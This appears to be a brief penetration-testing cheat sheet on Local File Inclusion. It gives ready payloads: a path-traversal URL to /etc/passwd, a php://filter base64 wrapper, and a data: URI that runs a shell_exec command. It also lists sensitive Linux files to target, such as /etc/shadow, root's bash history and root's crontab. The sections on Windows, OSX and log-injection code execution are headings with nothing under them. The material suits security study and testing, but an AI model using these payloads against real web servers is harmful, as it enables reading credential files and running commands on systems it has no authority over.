Local File Inclusion (LFI)
Examples
https://mysecureserver.com/file.php?target=../../../../../etc/passwdphp://filter/convert.base64-encode/resource=$filedata:text/plain,<?php echo shell_exec("whoami") ?>Common Locations
Linux
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/rootWindows
OSX
Remote Code Execution via LFI (Log Injection)
Additional Notes
References
Last updated